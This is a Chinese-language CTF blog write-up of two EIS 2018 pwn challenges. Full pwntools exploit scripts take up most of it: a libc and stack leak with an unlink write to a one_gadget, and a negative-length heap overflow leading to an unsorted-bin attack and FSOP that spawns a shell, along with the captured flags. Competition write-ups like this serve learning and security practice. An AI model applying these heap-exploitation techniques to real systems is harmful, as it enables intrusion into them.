Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

EIS 2018 pwn writeup

hack

思路与pwnable.krunlnk一致,通过unlink操作对栈上的值进行修改,从而将栈劫持到堆上,返回到one_gadget处。可以进行两次泄漏,分别泄漏libc地址和栈地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# coding=utf-8
from pwn import *

def pwn():
BIN_PATH = './hack'
DEBUG = 0
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('210.32.4.16', 13375)
elf = ELF(BIN_PATH)
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
context.log_level = 'debug'

p.recvuntil('input address: ')
p.sendline(str(elf.got['puts']))
p.recvuntil(str(elf.got['puts']) + ', ')
recv = p.recvuntil('\n')
libc.address = int(recv, 16) - libc.symbols['puts']
print hex(libc.address)
p.recvuntil('Second chance: \n')
p.sendline(str(libc.symbols['__environ']))
p.recvuntil(', ')
recv = p.recvuntil('\n')
stack_address = int(recv, 16)
print hex(stack_address)
raw_input()
p.recvuntil('The address of the node is ')
recv = p.recvuntil(', ', drop=True)
heap_addr = int(recv, 16)

target_address = stack_address - (0xffb3d93c - 0xffb3d884)

if DEBUG == 1:
one_gadget = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
else:
one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819]

payload = p32(libc.address + one_gadget[3]) + p32(heap_addr + 12) + p32(heap_addr + 0x4) + p32(target_address - 0x8)
p.recvuntil('fake node now: ')
p.send(payload)
# EIS{d2954e2d38bf6b2ed3ebfead7bb6cd33}
p.interactive()
p.close()


if __name__ == '__main__':
pwn()

师兄说本题这个解法是非预期解,看了出题人的思路后,感觉出题人可能忘了libc中能够泄漏栈地址。

justnote

程序实现了一般堆题的功能,有Add()Edit()Delete(),在Add()中能将用户输入后的chunk内容打印。申请堆块时固定申请0x100,chunk地址和用户输入的长度也保存在堆上,但是保存的地址进行了异或。

初一看没什么问题,后来经师傅提醒,如果输入最大的负数,就能够进行堆溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
new_chunk = (__int64)calloc(0x100uLL, 1uLL);
if ( !new_chunk )
{
puts("memory error, contact admin");
exit(1);
}
printf("length of note: ", 1LL);
length = input_num(); // vulnerable
if ( length < 0 )
length = -length;
if ( length > 0xFF )
length = 0xFFLL;
printf("note: ");

随后利用这个堆溢出进行FSOP即可。在写exp的时候利用House Of Orange的方法一直有问题,后来先搞定一个0x60的chunk放入small bin,然后再unsorted bin attack和伪造FILE结构体就没问题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# coding=utf-8
from pwn import *


def Add(p, length, content):
p.sendlineafter('your choice: ', str(1))
p.sendlineafter('length of note: ', str(length))
p.sendlineafter('note: ', content)


def Delete(p, idx):
p.sendlineafter('your choice: ', str(2))
p.sendlineafter('index of note: ', str(idx))


def Edit(p, idx, content):
p.sendlineafter('your choice: ', str(3))
p.sendlineafter('index of note: ', str(idx))
p.sendlineafter('note: ', content)


def pwn():
BIN_PATH = './justnote'
DEBUG = 0
LOCAL_LIBC = 1
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('210.32.4.17', 13376)
elf = ELF(BIN_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # is same as the remote
context.log_level = 'debug'

Add(p, 0x20, 'sunichi')
Add(p, 0x20, 'sunichi')
Add(p, 0x20, 'sunichi')
Add(p, 0x20, 'sunichi')
Add(p, 0x20, 'sunichi')
Add(p, 0x20, 'sunichi')
Add(p, 0x20, 'sunichi')

Delete(p, 0)
Delete(p, 2)
payload = 'a' * (0x4440 - 0x4220)
Add(p, -9223372036854775808, payload) #0
p.recvuntil(payload)
libc_m88_addr = p.recv(6)

if LOCAL_LIBC == 1:
libc.address = u64(libc_m88_addr.ljust(8, '\x00')) - (0x7f5eae196b78 - 0x7f5eaddd2000)
print 'libc base:' + str(hex(libc.address))

payload = 'b' * (0x108) + p64(0x111) + 'b' * (0x108) + p64(0x111)
Edit(p, 0, payload)
Add(p, 0x20, 'sunichi') #2
Delete(p, 0)
Delete(p, 2)
Delete(p, 4)
payload = 'c' * (0x5575f99b1448 - 0x5575f99b1220)
Add(p, -9223372036854775808, payload) #0

p.recvuntil(payload)
stack_chunk_4 = p.recv(6)

heap_chunk_base = u64(stack_chunk_4.ljust(8, '\x00')) - (0x55ca81101650 - 0x55ca81101210)
print 'heap chunk base:' + str(hex(heap_chunk_base))

payload = 'd' * (0x108) + p64(0x111) + 'b' * (0x108) + p64(0x111) + libc_m88_addr + '\x00' * 2 + p64(libc.symbols['_IO_list_all'] - 0x10)
Edit(p, 0, payload)

payload = 'e' * (0x210) + p64(0) + p64(0x61) + libc_m88_addr + '\x00\x00' + p64(heap_chunk_base + 0x440)
Edit(p, 0, payload)

Add(p, 0x20, 'sunichi')
Add(p, 0x20, 'sunichi')
Delete(p, 2)

payload = 'f' * 0x430 + p64(0) + p64(0x110) + p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10)
Edit(p, 0, payload)

payload = 'g' * (0x210)
fake_stream = '/bin/sh\x00' + p64(0x61)
fake_stream += p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10)
fake_stream += p64(heap_chunk_base) + p64(heap_chunk_base + 1)
fake_stream = fake_stream.ljust(0xa0, '\x00')
fake_stream += p64(heap_chunk_base + 0x300 - 0x10)
fake_stream = fake_stream.ljust(0xc0, '\x00')
fake_stream += 3 * p64(0) + p64(heap_chunk_base + 0x300 - 0x8)

payload += fake_stream
payload += p64(2)
payload += p64(3)
payload += p64(libc.symbols['system']) + p64(0) * 0x20
Edit(p, 0, payload)

Add(p, 0x70, 'hack by sunichi')
Delete(p, 2)

p.interactive()
p.close()
# EIS{it_is_2018_and_we_still_mess_around_with_note}

if __name__ == '__main__':
pwn()